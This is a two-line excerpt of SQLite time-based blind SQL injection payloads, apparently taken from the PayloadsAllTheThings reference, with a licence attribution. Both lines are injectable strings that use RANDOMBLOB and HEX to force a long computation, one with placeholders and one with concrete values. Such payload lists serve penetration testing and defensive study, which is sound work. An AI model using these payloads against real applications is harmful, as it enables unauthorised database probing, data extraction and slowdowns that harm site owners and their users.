AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))Source: SQL Injection/SQLite Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.